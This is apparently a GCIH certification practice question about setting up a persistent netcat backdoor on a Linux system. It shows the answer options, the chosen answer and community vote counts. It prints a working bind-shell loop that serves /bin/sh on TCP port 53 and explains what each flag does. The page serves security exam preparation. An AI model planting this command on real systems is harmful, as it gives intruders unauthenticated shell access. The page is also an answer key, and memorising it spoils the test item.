GCIH · Question #633
How could an attacker set up a persistent backdoor listener to a login shell on TCP port 53 using netcat on a Linux system?
The correct answer is D. while true; do nc -l -p 53 -e /bin/sh; done. This command creates a persistent loop that listens on TCP port 53 and executes a shell every time a connection is made. Here’s a breakdown of the command: while true; do ... done: This creates an infinite loop, ensuring the command inside will continuously run. nc -l -p 53 -e /b
Question
How could an attacker set up a persistent backdoor listener to a login shell on TCP port 53 using netcat on a Linux system?
Options
- Anc -l -p 53 -e /bin/sh
- Bnc -1 -p 53
- Cwhile true; do nc -l -z -p 53; done
- Dwhile true; do nc -l -p 53 -e /bin/sh; done
How the community answered
(43 responses)- A5% (2)
- B2% (1)
- C9% (4)
- D84% (36)
Explanation
This command creates a persistent loop that listens on TCP port 53 and executes a shell every time a connection is made. Here’s a breakdown of the command: while true; do ... done: This creates an infinite loop, ensuring the command inside will continuously run. nc -l -p 53 -e /bin/sh: This part of the command uses nc (netcat) to: -l: Listen for an incoming connection. -p 53: Specify port 53. -e /bin/sh: Execute /bin/sh (the shell) when a connection is made.
Topics
Community Discussion
No community discussion yet for this question.